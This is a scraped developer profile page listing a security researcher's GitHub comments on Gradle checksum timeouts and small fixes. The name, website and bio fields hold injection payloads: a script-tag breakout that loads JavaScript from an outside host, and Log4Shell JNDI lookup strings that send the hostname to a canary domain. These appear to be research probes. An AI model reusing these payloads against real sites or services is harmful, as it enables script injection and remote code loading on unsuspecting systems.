Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

icon indicating a website link ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} icon indicating an email [email protected]

icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 594 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

[SECURITY] Fix Temporary File Information Disclosure Vulnerability

Sounds good, but it would be good to merge this PR still

Request timeout: /distributions/gradle-8.7-rc-3-wrapper.jar.sha256

@bigdaz is there a potential that this occurred during an RC release? Perhaps there's some race condition between the `JSON` and the `sha256` checksum existing in the AWS bucket?

Request timeout: /distributions/gradle-8.7-rc-3-wrapper.jar.sha256

> You're right that a new release with the latest checksums would have prevented this failure, but the fetch-on-demand functionality should continue to work for newly released Gradle versions. Sorry,...

fix: Incorrect url encoding of strings in URLs

It looks like some linting tasks are failing. I've rebased the branch. Can you pull the branch and fix the formatting issues? After that I'm happy to merge this.